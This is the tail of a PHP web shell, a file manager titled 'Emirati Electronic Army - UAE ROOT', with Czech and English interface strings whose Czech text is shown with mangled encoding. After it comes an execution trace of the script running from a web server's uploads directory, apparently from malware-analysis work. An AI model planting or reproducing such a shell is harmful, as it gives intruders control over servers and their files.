byl nahr\xd8\xa3\xd8\x8cn na server.", "not_uploaded" => "Soubor \"[%1]\" nebyl nahr\xd8\xa3\xd8\x8cn na server.", "already_exists" => "Soubor \"[%1]\" u\xd8\xa5\xc2\xbe exituje.", "created" => "Soubor \"[%1]\" byl vytvo\xd8\xa5\xe2\x84\xa2en.", "not_created" => "Soubor \"[%1]\" nemohl b\xd8\xa3\xc2\xbdt  vytvo\xd8\xa5\xe2\x84\xa2en.", "really_delete" => "Vymazat soubor?", "deleted" => "Byly vymaz\xd8\xa3\xd8\x8cny tyto soubory:\n[%1]", "not_deleted" => "Tyto soubory nemohly b\xd8\xa3\xc2\xbdt vytvo\xd8\xa5\xe2\x84\xa2eny:\n[%1]", "rename_file" => "P\xd8\xa5\xe2\x84\xa2ejmenuj soubory:", "renamed" => "Soubor \"[%1]\" byl p\xd8\xa5\xe2\x84\xa2ejmenov\xd8\xa3\xd8\x8cn na \"[%2]\".", "not_renamed" => "Soubor \"[%1]\" nemohl b\xd8\xa3\xc2\xbdt p\xd8\xa5\xe2\x84\xa2ejmenov\xd8\xa3\xd8\x8cn na \"[%2]\".", "move_files" => "P\xd8\xa5\xe2\x84\xa2em\xd8\xa3\xc2\xadstit tyto soubory:", "moved" => "Tyto soubory byly p\xd8\xa5\xe2\x84\xa2em\xd8\xa3\xc2\xadst\xd8\xa4\xe2\x80\xbany do \"[%2]\":\n[%1]", "not_moved" => "Tyto soubory nemohly b\xd8\xa3\xc2\xbdt p\xd8\xa5\xe2\x84\xa2em\xd8\xa3\xc2\xadst\xd8\xa4\xe2\x80\xbany do \"[%2]\":\n[%1]", "copy_files" => "Zkop\xd8\xa3\xc2\xadrovat tyto soubory:", "copied" => "Tyto soubory byly zkop\xd8\xa3\xc2\xadrov\xd8\xa3\xd8\x8cny do \"[%2]\":\n[%1]", "not_copied" => "Tyto soubory nemohly b\xd8\xa3\xc2\xbdt zkop\xd8\xa3\xc2\xadrov\xd8\xa3\xd8\x8cny do \"[%2]\":\n[%1]", "not_edited" => "Soubor \"[%1]\" nemohl b\xd8\xa3\xc2\xbdt otev\xd8\xa5\xe2\x84\xa2en.", "executed" => "SOubor \"[%1]\" byl spu\xd8\xa5\xd8\x8ct\xd8\xa4\xe2\x80\xban :\n{%2}", "not_executed" => "Soubor \"[%1]\" nemohl b\xd8\xa3\xc2\xbdt spu\xd8\xa5\xd8\x8ct\xd8\xa4\xe2\x80\xban:\n{%2}", "saved" => "Soubor \"[%1]\" byl ulo\xd8\xa5\xc2\xbeen.", "not_saved" => "Soubor \"[%1]\" nemohl b\xd8\xa3\xc2\xbdt ulo\xd8\xa5\xc2\xbeen.", "symlinked" => "Byl vyvo\xd8\xa5\xe2\x84\xa2en symbolick\xd8\xa3\xc2\xbd odkaz \"[%2]\" na soubor \"[%1]\".", "not_symlinked" => "Symbolick\xd8\xa3\xc2\xbd odkaz \"[%2]\" na soubor \"[%1]\" nemohl b\xd8\xa3\xc2\xbdt vytvo\xd8\xa5\xe2\x84\xa2en.", "permission_for" => "Pr\xd8\xa3\xd8\x8cva k \"[%1]\":", "permission_set" => "Pr\xd8\xa3\xd8\x8cva k \"[%1]\" byla zm\xd8\xa4\xe2\x80\xban\xd8\xa4\xe2\x80\xbana na [%2].", "permission_not_set" => "Pr\xd8\xa3\xd8\x8cva k \"[%1]\" nemohla b\xd8\xa3\xc2\xbdt zm\xd8\xa4\xe2\x80\xban\xd8\xa4\xe2\x80\xbana na [%2].", "not_readable" => "Soubor \"[%1]\" nen\xd8\xa3\xc2\xad mo\xd8\xa5\xc2\xbeno p\xd8\xa5\xe2\x84\xa2e\xd8\xa4\xda\x86\xd8\xa3\xc2\xadst.");
        case 'en':
        default:
            $date_format = 'n/j/y H:i:s';
            $word_charset = 'ISO-8859-1';
            return array("directory" => "Directory", "file" => "File", "filename" => "Filename", "size" => "Size", "permission" => "Permission", "owner" => "Owner", "group" => "Group", "other" => "Others", "functions" => "Functions", "read" => "read", "write" => "write", "execute" => "execute", "create_symlink" => "create symlink", "delete" => "delete", "rename" => "rename", "move" => "move", "copy" => "copy", "edit" => "edit", "download" => "download", "upload" => "upload", "create" => "create", "change" => "change", "save" => "save", "set" => "set", "reset" => "reset", "relative" => "Relative path to target", "yes" => "Yes", "no" => "No", "back" => "back", "destination" => "Destination", "symlink" => "Symlink", "no_output" => "no output", "user" => "User", "password" => "Password", "add" => "add", "add_basic_auth" => "add basic-authentification", "uploaded" => "\"[%1]\" has been uploaded.", "not_uploaded" => "\"[%1]\" could not be uploaded.", "already_exists" => "\"[%1]\" already exists.", "created" => "\"[%1]\" has been created.", "not_created" => "\"[%1]\" could not be created.", "really_delete" => "Delete these files?", "deleted" => "These files have been deleted:\n[%1]", "not_deleted" => "These files could not be deleted:\n[%1]", "rename_file" => "Rename file:", "renamed" => "\"[%1]\" has been renamed to \"[%2]\".", "not_renamed" => "\"[%1] could not be renamed to \"[%2]\".", "move_files" => "Move these files:", "moved" => "These files have been moved to \"[%2]\":\n[%1]", "not_moved" => "These files could not be moved to \"[%2]\":\n[%1]", "copy_files" => "Copy these files:", "copied" => "These files have been copied to \"[%2]\":\n[%1]", "not_copied" => "These files could not be copied to \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" can not be edited.", "executed" => "\"[%1]\" has been executed successfully:\n{%2}", "not_executed" => "\"[%1]\" could not be executed successfully:\n{%2}", "saved" => "\"[%1]\" has been saved.", "not_saved" => "\"[%1]\" could not be saved.", "symlinked" => "Symlink from \"[%2]\" to \"[%1]\" has been created.", "not_symlinked" => "Symlink from \"[%2]\" to \"[%1]\" could not be created.", "permission_for" => "Permission of \"[%1]\":", "permission_set" => "Permission of \"[%1]\" was set to [%2].", "permission_not_set" => "Permission of \"[%1]\" could not be set to [%2].", "not_readable" => "\"[%1]\" can not be read.");
    }
}
function getimage($image)
{
    switch ($image) {
        case 'file':
            return "GIF89a\x11\x00\r\x00\x91\x03\x00\x99\x99\x99\xff\xff\xff\x00\x00\x00\xff\xff\xff!\xf9\x04\x01\xe8\x03\x03\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02-\x9c\x81\x89\xc6\r\x01\xe3j\xec\x89+\xc2\x03\xf4D\x99t\x16\x86i\xe2\x87r\xd4Hf\xaa\x83~o\x15\xb4\x97\xb9\xc6\xd2i\xbb\xa7\x8es(\x86\xaf\x02\x00;\x00";
        case 'folder':
            return "GIF89a\x11\x00\r\x00\x91\x03\x00\x99\x99\x99\xff\xff\xff\xcc\xcc\xcc\xff\xff\xff!\xf9\x04\x01\xe8\x03\x03\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02*\x9c\x8f\x99\xc0\xac\x1bb\x04\xcf\xb4\x8b\x9d\x95\xbc\v:\x00\x81@\x96&\t\x8a\xe7\xfam\xec\x99\x8eo\x19\xcf\xb4k\xb7a\x8e\x1e\xd9o(\x00\x00;\x00";
        case 'hidden_file':
            return "GIF89a\x11\x00\r\x00\x91\x03\x00\xcc\x00\x00\xff\xff\xff\x99\x99\x99\xff\xff\xff!\xf9\x04\x01\xe8\x03\x03\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02-\x9c\x81\x89\xc6\r\x01\xe3j\xec\x89+\xc2\x03\xf4D\x99t\x16\x86i\xe2\x87r\xd4Hf\xaa\x83~o\x15\xb4\x97\xb9\xc6\xd2i\xbb\xa7\x8es(\x86\xaf\x02\x00;\x00";
        case 'link':
            return "GIF89a\x11\x00\r\x00\xa2\x04\x00\x99\x99\x99\xff\xff\xff\x00\x00\x00\xcc\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00!\xf9\x04\x01\xe8\x03\x04\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x039H\n\xdc\xac0\x82@\xeb\x8bp\x8a-\xc2\x04\xd8RYM8\r\x03\xc5y&\x85\x8e,\x84\xces\xb0\xc5\nM\x8f 6\x05/[\xa7'\x01\xa6`\xc4\xcc\x883l\xc1,&\x87\x94\x98\x00\x00;\x00";
        case 'smiley':
            return "GIF89a\x11\x00\r\x00\x91\x02\x00\x00\x00\x00\xff\xff\x00\xff\xff\xff\x00\x00\x00!\xf9\x04\x01\xe8\x03\x02\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02,\x94\x8f\xa9\x02\xed\xb0\f\x08\xb3\xd25\x83\xde\x1a\xa6\x076_\xd5P\xa5x\x94\x1c\x87J\xe4vzi\x07wJf\xe22\x82\xb3\x11\x13\xfa\t\x0f\x05\x00;\x00";
        case 'arrow':
            return "GIF89a\x11\x00\r\x00\x80\x01\x00\x00\x00\x00\xff\xff\xff!\xf9\x04\x01\n\x00\x01\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02\x1d\x8c\x0fp\xcb\xa8\rC\x8apRf\xaf\xd3+\xe7\xfa\x18I\x88\x8d\xe6\x08\x9e\xa8\xb6\xb2\$\xc7\x14\x00;";
    }
}
function html_header()
{
    global $site_charset;
    echo <<<END
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset={$site_charset}" />

<title>Emirati Electronic Army  -  UAE ROOT</title>

<style type="text/css">
body { font: small sans-serif; text-align: center }
img { width: 17px; height: 13px }
a, a:visited { text-decoration: none; color: navy }
hr { border-style: none; height: 1px; background-color: silver; color: silver }
#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
.listing th, .listing td { padding: 1px 3pt 0 3pt }
.listing th { border: 1px solid silver }
.listing td { border: 1px solid #ddd; background: white }
.listing .checkbox { text-align: center }
.listing .filename { text-align: left }
.listing .size { text-align: right }
.listing .permission_header { text-align: left }
.listing .permission { font-family: monospace }
.listing .owner { text-align: left }
.listing .group { text-align: left }
.listing .functions { text-align: left }
.listing_footer td { background: #eee; border: 1px solid silver }
#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
#directory { background: #eee; border: 1px solid silver }
#upload { padding-top: 1em }
#create { padding-bottom: 1em }
.small, .small option { font-size: x-small }
textarea { border: none; background: white }
table.dialog { margin-left: auto; margin-right: auto }
td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
#permission { margin-left: auto; margin-right: auto }
#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
td.permission_action { text-align: right }
#symlink { background: #eee; border: 1px solid silver }
#symlink td { text-align: left; padding: 3pt }
#red_button { width: 120px; color: #400 }
#green_button { width: 120px; color: #040 }
#error td { background: maroon; color: white; border: 1px solid silver }
#notice td { background: green; color: white; border: 1px solid silver }
#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
code { font-size: 12pt }
td { white-space: nowrap }
</style>

<script type="text/javascript">
<!--
function activate (name) {
\tif (document && document.forms[0] && document.forms[0].elements['focus']) {
\t\tdocument.forms[0].elements['focus'].value = name;
\t}
}
//-->
</script>

</head>
<body>


END;
}
function html_footer()
{
    echo "</body>\r\n</html>";
}
function notice($phrase)
{
    global $cols;
    $args = func_get_args();
    array_shift($args);
    return '<tr id="notice">
	<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';
}
function error($phrase)
{
    global $cols;
    $args = func_get_args();
    array_shift($args);
    return '<tr id="error">
	<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';
}

Execution traces

data/traces/2c1c5ed49f66fb0a3c3aa100857e3016_trace-1676254317.4394.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:12:23.337191]
1	0	1	0.000147	393512
1	3	0	0.001873	775824	{main}	1		/var/www/html/uploads/hosam.php	0	0
1		A						/var/www/html/uploads/hosam.php	43	$lang = 'auto'
1		A						/var/www/html/uploads/hosam.php	50	$site_charset = 'auto'
1		A						/var/www/html/uploads/hosam.php	55	$homedir = './'
1		A						/var/www/html/uploads/hosam.php	59	$editcols = 80
1		A						/var/www/html/uploads/hosam.php	60	$editrows = 25
1		A						/var/www/html/uploads/hosam.php	78	$htaccess = '.htaccess'
1		A						/var/www/html/uploads/hosam.php	79	$htpasswd = '.htpasswd'
2	4	0	0.001975	775824	get_magic_quotes_gpc	0		/var/www/html/uploads/hosam.php	83	0
2	4	1	0.001990	775824
2	4	R			FALSE
2	5	0	0.002004	775824	array_key_exists	0		/var/www/html/uploads/hosam.php	89	2	'image'	[]
2	5	1	0.002018	775888
2	5	R			FALSE
2	6	0	0.002031	775824	function_exists	0		/var/www/html/uploads/hosam.php	94	1	'lstat'
2	6	1	0.002044	775864
2	6	R			TRUE
1		A						/var/www/html/uploads/hosam.php	100	$delim = '/'
2	7	0	0.002067	775824	function_exists	0		/var/www/html/uploads/hosam.php	102	1	'php_uname'
2	7	1	0.002081	775864
2	7	R			TRUE
2	8	0	0.002093	775824	substr	0		/var/www/html/uploads/hosam.php	103	3	'Linux'	0	3
2	8	1	0.002108	775952
2	8	R			'Lin'
2	9	0	0.002121	775856	strtoupper	0		/var/www/html/uploads/hosam.php	103	1	'Lin'
2	9	1	0.002133	775920
2	9	R			'LIN'
1		A						/var/www/html/uploads/hosam.php	103	$win = FALSE
2	10	0	0.002158	775824	dirname	0		/var/www/html/uploads/hosam.php	111	1	'/var/www/html/uploads/hosam.php'
2	10	1	0.002171	775912
2	10	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/hosam.php	111	$scriptdir = '/var/www/html/uploads'
2	11	0	0.002196	775880	relative2absolute	1		/var/www/html/uploads/hosam.php	117	2	'./'	'/var/www/html/uploads'
3	12	0	0.002210	775880	path_is_relative	1		/var/www/html/uploads/hosam.php	983	1	'./'
4	13	0	0.002223	775904	substr	0		/var/www/html/uploads/hosam.php	997	3	'./'	0	1
4	13	1	0.002236	776000
4	13	R			'.'
3	12	1	0.002251	775904
3	12	R			TRUE
3	14	0	0.002264	775904	addslash	1		/var/www/html/uploads/hosam.php	984	1	'/var/www/html/uploads'
4	15	0	0.002276	775928	substr	0		/var/www/html/uploads/hosam.php	973	3	'/var/www/html/uploads'	-1	1
4	15	1	0.002290	776024
4	15	R			's'
3	14	1	0.002304	775976
3	14	R			'/var/www/html/uploads/'
3	16	0	0.002319	775984	simplify_path	1		/var/www/html/uploads/hosam.php	984	1	'/var/www/html/uploads/./'
4	17	0	0.002332	775984	file_exists	0		/var/www/html/uploads/hosam.php	1024	1	'/var/www/html/uploads/./'
4	17	1	0.002365	776024
4	17	R			TRUE
4	18	0	0.002379	775984	function_exists	0		/var/www/html/uploads/hosam.php	1024	1	'realpath'
4	18	1	0.002392	776024
4	18	R			TRUE
4	19	0	0.002405	775984	realpath	0		/var/www/html/uploads/hosam.php	1024	1	'/var/www/html/uploads/./'
4	19	1	0.002418	776064
4	19	R			'/var/www/html/uploads'
4	20	0	0.002433	775984	realpath	0		/var/www/html/uploads/hosam.php	1025	1	'/var/www/html/uploads/./'
4	20	1	0.002446	776064
4	20	R			'/var/www/html/uploads'
3		A						/var/www/html/uploads/hosam.php	1025	$path = '/var/www/html/uploads'
4	21	0	0.002470	776032	is_dir	0		/var/www/html/uploads/hosam.php	1026	1	'/var/www/html/uploads'
4	21	1	0.002486	776096
4	21	R			TRUE
4	22	0	0.002499	776056	addslash	1		/var/www/html/uploads/hosam.php	1027	1	'/var/www/html/uploads'
5	23	0	0.002511	776056	substr	0		/var/www/html/uploads/hosam.php	973	3	'/var/www/html/uploads'	-1	1
5	23	1	0.002525	776152
5	23	R			's'
4	22	1	0.002538	776104
4	22	R			'/var/www/html/uploads/'
3	16	1	0.002552	776056
3	16	R			'/var/www/html/uploads/'
2	11	1	0.002566	776000
2	11	R			'/var/www/html/uploads/'
1		A						/var/www/html/uploads/hosam.php	117	$homedir = '/var/www/html/uploads/'
2	24	0	0.002590	776000	array_key_exists	0		/var/www/html/uploads/hosam.php	119	2	'dir'	[]
2	24	1	0.002604	776064
2	24	R			FALSE
1		A						/var/www/html/uploads/hosam.php	119	$dir = '/var/www/html/uploads/'
2	25	0	0.002627	776000	array_key_exists	0		/var/www/html/uploads/hosam.php	121	2	'olddir'	[]
2	25	1	0.002643	776064
2	25	R			FALSE
2	26	0	0.002656	776000	addslash	1		/var/www/html/uploads/hosam.php	125	1	'/var/www/html/uploads/'
3	27	0	0.002700	776000	substr	0		/var/www/html/uploads/hosam.php	973	3	'/var/www/html/uploads/'	-1	1
3	27	1	0.002716	776096
3	27	R			'/'
2	26	1	0.002729	776000
2	26	R			'/var/www/html/uploads/'
2	28	0	0.002743	776000	simplify_path	1		/var/www/html/uploads/hosam.php	125	1	'/var/www/html/uploads/'
3	29	0	0.002756	776000	file_exists	0		/var/www/html/uploads/hosam.php	1024	1	'/var/www/html/uploads/'
3	29	1	0.002773	776040
3	29	R			TRUE
3	30	0	0.002786	776000	function_exists	0		/var/www/html/uploads/hosam.php	1024	1	'realpath'
3	30	1	0.002799	776040
3	30	R			TRUE
3	31	0	0.002812	776000	realpath	0		/var/www/html/uploads/hosam.php	1024	1	'/var/www/html/uploads/'
3	31	1	0.002825	776080
3	31	R			'/var/www/html/uploads'
3	32	0	0.002839	776000	realpath	0		/var/www/html/uploads/hosam.php	1025	1	'/var/www/html/uploads/'
3	32	1	0.002851	776080
3	32	R			'/var/www/html/uploads'
2		A						/var/www/html/uploads/hosam.php	1025	$path = '/var/www/html/uploads'
3	33	0	0.002875	776048	is_dir	0		/var/www/html/uploads/hosam.php	1026	1	'/var/www/html/uploads'
3	33	1	0.002888	776088
3	33	R			TRUE
3	34	0	0.002900	776048	addslash	1		/var/www/html/uploads/hosam.php	1027	1	'/var/www/html/uploads'
4	35	0	0.002912	776048	substr	0		/var/www/html/uploads/hosam.php	973	3	'/var/www/html/uploads'	-1	1
4	35	1	0.002926	776144
4	35	R			's'
3	34	1	0.002940	776096
3	34	R			'/var/www/html/uploads/'
2	28	1	0.002955	776048
2	28	R			'/var/www/html/uploads/'
1		A						/var/www/html/uploads/hosam.php	125	$directory = '/var/www/html/uploads/'
1		A						/var/www/html/uploads/hosam.php	127	$files = []
1		A						/var/www/html/uploads/hosam.php	128	$action = ''
2	36	0	0.003000	776048	array_key_exists	0		/var/www/html/uploads/hosam.php	142	2	'num'	[]
2	36	1	0.003014	776112
2	36	R			FALSE
2	37	0	0.003028	776048	array_key_exists	0		/var/www/html/uploads/hosam.php	151	2	'focus'	[]
2	37	1	0.003042	776112
2	37	R			FALSE
2	38	0	0.003055	776048	sizeof	0		/var/www/html/uploads/hosam.php	161	1	[]
2	38	1	0.003068	776080
2	38	R			0
1		A						/var/www/html/uploads/hosam.php	161	$action = ''
2	39	0	0.003091	776048	array_key_exists	0		/var/www/html/uploads/hosam.php	164	2	'HTTP_ACCEPT_LANGUAGE'	['HTTP_HOST' => 'localhost', 'HTTP_USER_AGENT' => 'python-requests/2.25.1', 'HTTP_ACCEPT_ENCODING' => 'gzip, deflate', 'HTTP_ACCEPT' => '*/*', 'HTTP_CONNECTION' => 'keep-alive', 'PATH' => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin', 'SERVER_SIGNATURE' => '<address>Apache/2.4.52 (Ubuntu) Server at localhost Port 80</address>\n', 'SERVER_SOFTWARE' => 'Apache/2.4.52 (Ubuntu)', 'SERVER_NAME' => 'localhost', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'REMOTE_ADDR' => '127.0.0.1', 'DOCUMENT_ROOT' => '/var/www/html', 'REQUEST_SCHEME' => 'http', 'CONTEXT_PREFIX' => '', 'CONTEXT_DOCUMENT_ROOT' => '/var/www/html', 'SERVER_ADMIN' => 'webmaster@localhost', 'SCRIPT_FILENAME' => '/var/www/html/uploads/hosam.php', 'REMOTE_PORT' => '43678', 'GATEWAY_INTERFACE' => 'CGI/1.1', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'REQUEST_METHOD' => 'GET', 'QUERY_STRING' => '', 'REQUEST_URI' => '/uploads/hosam.php', 'SCRIPT_NAME' => '/uploads/hosam.php', 'PHP_SELF' => '/uploads/hosam.php', 'REQUEST_TIME_FLOAT' => 1676254317.439, 'REQUEST_TIME' => 1676254317]
2	39	1	0.003150	776112
2	39	R			FALSE
1		A						/var/www/html/uploads/hosam.php	167	$lang = 'en'
2	40	0	0.003174	776048	getwords	1		/var/www/html/uploads/hosam.php	171	1	'en'
2		A						/var/www/html/uploads/hosam.php	2221	$date_format = 'n/j/y H:i:s'
2		A						/var/www/html/uploads/hosam.php	2222	$word_charset = 'ISO-8859-1'
2	40	1	0.003211	776096
2	40	R			['directory' => 'Directory', 'file' => 'File', 'filename' => 'Filename', 'size' => 'Size', 'permission' => 'Permission', 'owner' => 'Owner', 'group' => 'Group', 'other' => 'Others', 'functions' => 'Functions', 'read' => 'read', 'write' => 'write', 'execute' => 'execute', 'create_symlink' => 'create symlink', 'delete' => 'delete', 'rename' => 'rename', 'move' => 'move', 'copy' => 'copy', 'edit' => 'edit', 'download' => 'download', 'upload' => 'upload', 'create' => 'create', 'change' => 'change', 'save' => 'save', 'set' => 'set', 'reset' => 'reset', 'relative' => 'Relative path to target', 'yes' => 'Yes', 'no' => 'No', 'back' => 'back', 'destination' => 'Destination', 'symlink' => 'Symlink', 'no_output' => 'no output', 'user' => 'User', 'password' => 'Password', 'add' => 'add', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" has been uploaded.', 'not_uploaded' => '"[%1]" could not be uploaded.', 'already_exists' => '"[%1]" already exists.', 'created' => '"[%1]" has been created.', 'not_created' => '"[%1]" could not be created.', 'really_delete' => 'Delete these files?', 'deleted' => 'These files have been deleted:\n[%1]', 'not_deleted' => 'These files could not be deleted:\n[%1]', 'rename_file' => 'Rename file:', 'renamed' => '"[%1]" has been renamed to "[%2]".', 'not_renamed' => '"[%1] could not be renamed to "[%2]".', 'move_files' => 'Move these files:', 'moved' => 'These files have been moved to "[%2]":\n[%1]', 'not_moved' => 'These files could not be moved to "[%2]":\n[%1]', 'copy_files' => 'Copy these files:', 'copied' => 'These files have been copied to "[%2]":\n[%1]', 'not_copied' => 'These files could not be copied to "[%2]":\n[%1]', 'not_edited' => '"[%1]" can not be edited.', 'executed' => '"[%1]" has been executed successfully:\n{%2}', 'not_executed' => '"[%1]" could not be executed successfully:\n{%2}', 'saved' => '"[%1]" has been saved.', 'not_saved' => '"[%1]" could not be saved.', 'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.', 'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.', 'permission_for' => 'Permission of "[%1]":', 'permission_set' => 'Permission of "[%1]" was set to [%2].', 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].', 'not_readable' => '"[%1]" can not be read.']
1		A						/var/www/html/uploads/hosam.php	171	$words = ['directory' => 'Directory', 'file' => 'File', 'filename' => 'Filename', 'size' => 'Size', 'permission' => 'Permission', 'owner' => 'Owner', 'group' => 'Group', 'other' => 'Others', 'functions' => 'Functions', 'read' => 'read', 'write' => 'write', 'execute' => 'execute', 'create_symlink' => 'create symlink', 'delete' => 'delete', 'rename' => 'rename', 'move' => 'move', 'copy' => 'copy', 'edit' => 'edit', 'download' => 'download', 'upload' => 'upload', 'create' => 'create', 'change' => 'change', 'save' => 'save', 'set' => 'set', 'reset' => 'reset', 'relative' => 'Relative path to target', 'yes' => 'Yes', 'no' => 'No', 'back' => 'back', 'destination' => 'Destination', 'symlink' => 'Symlink', 'no_output' => 'no output', 'user' => 'User', 'password' => 'Password', 'add' => 'add', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" has been uploaded.', 'not_uploaded' => '"[%1]" could not be uploaded.', 'already_exists' => '"[%1]" already exists.', 'created' => '"[%1]" has been created.', 'not_created' => '"[%1]" could not be created.', 'really_delete' => 'Delete these files?', 'deleted' => 'These files have been deleted:\n[%1]', 'not_deleted' => 'These files could not be deleted:\n[%1]', 'rename_file' => 'Rename file:', 'renamed' => '"[%1]" has been renamed to "[%2]".', 'not_renamed' => '"[%1] could not be renamed to "[%2]".', 'move_files' => 'Move these files:', 'moved' => 'These files have been moved to "[%2]":\n[%1]', 'not_moved' => 'These files could not be moved to "[%2]":\n[%1]', 'copy_files' => 'Copy these files:', 'copied' => 'These files have been copied to "[%2]":\n[%1]', 'not_copied' => 'These files could not be copied to "[%2]":\n[%1]', 'not_edited' => '"[%1]" can not be edited.', 'executed' => '"[%1]" has been executed successfully:\n{%2}', 'not_executed' => '"[%1]" could not be executed successfully:\n{%2}', 'saved' => '"[%1]" has been saved.', 'not_saved' => '"[%1]" could not be saved.', 'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.', 'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.', 'permission_for' => 'Permission of "[%1]":', 'permission_set' => 'Permission of "[%1]" was set to [%2].', 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].', 'not_readable' => '"[%1]" can not be read.']
1		A						/var/www/html/uploads/hosam.php	174	$site_charset = 'ISO-8859-1'
1		A						/var/www/html/uploads/hosam.php	177	$cols = 7
2	41	0	0.003409	776096	function_exists	0		/var/www/html/uploads/hosam.php	180	1	'umask'
2	41	1	0.003423	776136
2	41	R			TRUE
2	42	0	0.003436	776096	umask	0		/var/www/html/uploads/hosam.php	180	0
2	42	1	0.003449	776096
2	42	R			18
1		A						/var/www/html/uploads/hosam.php	180	$dirpermission = 493
2	43	0	0.003474	776096	function_exists	0		/var/www/html/uploads/hosam.php	183	1	'umask'
2	43	1	0.003487	776136
2	43	R			TRUE
2	44	0	0.003499	776096	umask	0		/var/www/html/uploads/hosam.php	183	0
2	44	1	0.003511	776096
2	44	R			18
1		A						/var/www/html/uploads/hosam.php	183	$filepermission = 420
2	45	0	0.003536	776096	basename	0		/var/www/html/uploads/hosam.php	187	1	'/uploads/hosam.php'
2	45	1	0.003552	776168
2	45	R			'hosam.php'
2	46	0	0.003566	776136	html	1		/var/www/html/uploads/hosam.php	187	1	'hosam.php'
3	47	0	0.003579	776160	htmlentities	0		/var/www/html/uploads/hosam.php	1488	3	'hosam.php'	2	'ISO-8859-1'
3	47	1	0.003598	776432
3	47	R			'hosam.php'
2	46	1	0.003612	776320
2	46	R			'hosam.php'
1		A						/var/www/html/uploads/hosam.php	187	$self = 'hosam.php'
2	48	0	0.003637	776280	substr	0		/var/www/html/uploads/hosam.php	195	3	'Apache/2.4.52 (Ubuntu)'	0	6
2	48	1	0.003652	776408
2	48	R			'Apache'
2	49	0	0.003665	776312	strtolower	0		/var/www/html/uploads/hosam.php	195	1	'Apache'
2	49	1	0.003678	776376
2	49	R			'apache'
1		A						/var/www/html/uploads/hosam.php	196	$apache = TRUE
2	50	0	0.003704	776280	listing_page	1		/var/www/html/uploads/hosam.php	761	1	???
3	51	0	0.003719	776376	html_header	1		/var/www/html/uploads/hosam.php	1087	0
3	51	1	0.003735	776376
3	52	0	0.003742	776376	getlist	1		/var/www/html/uploads/hosam.php	1089	1	'/var/www/html/uploads/'
4	53	0	0.003757	776376	opendir	0		/var/www/html/uploads/hosam.php	770	1	'/var/www/html/uploads/'
4	53	1	0.003785	776768
4	53	R			resource(4) of type (stream)
3		A						/var/www/html/uploads/hosam.php	770	$d = resource(4) of type (stream)
4	54	0	0.003813	776736	readdir	0		/var/www/html/uploads/hosam.php	772	1	resource(4) of type (stream)
4	54	1	0.003843	776808
4	54	R			'..'
3		A						/var/www/html/uploads/hosam.php	772	$filename = '..'
3		A						/var/www/html/uploads/hosam.php	774	$path = '/var/www/html/uploads/..'
4	55	0	0.003878	776824	lstat	0		/var/www/html/uploads/hosam.php	776	1	'/var/www/html/uploads/..'
4	55	1	0.003897	778648
4	55	R			[0 => 2049, 1 => 524474, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676254317, 9 => 1676254317, 10 => 1676254317, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524474, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676254317, 'mtime' => 1676254317, 'ctime' => 1676254317, 'blksize' => 4096, 'blocks' => 8]
3		A						/var/www/html/uploads/hosam.php	776	$stat = [0 => 2049, 1 => 524474, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676254317, 9 => 1676254317, 10 => 1676254317, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524474, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676254317, 'mtime' => 1676254317, 'ctime' => 1676254317, 'blksize' => 4096, 'blocks' => 8]
4	56	0	0.003960	779304	is_file	0		/var/www/html/uploads/hosam.php	781	1	'/var/www/html/uploads/..'
4	56	1	0.003976	779352
4	56	R			FALSE
4	57	0	0.003991	779312	is_dir	0		/var/www/html/uploads/hosam.php	782	1	'/var/www/html/uploads/..'
4	57	1	0.004004	779352
4	57	R			TRUE
4	58	0	0.004017	779312	is_link	0		/var/www/html/uploads/hosam.php	783	1	'/var/www/html/uploads/..'
4	58	1	0.004031	779352
4	58	R			FALSE
4	59	0	0.004044	779312	is_readable	0		/var/www/html/uploads/hosam.php	784	1	'/var/www/html/uploads/..'
4	59	1	0.004061	779352
4	59	R			TRUE
4	60	0	0.004074	779312	is_writable	0		/var/www/html/uploads/hosam.php	785	1	'/var/www/html/uploads/..'
4	60	1	0.004089	779352
4	60	R			TRUE
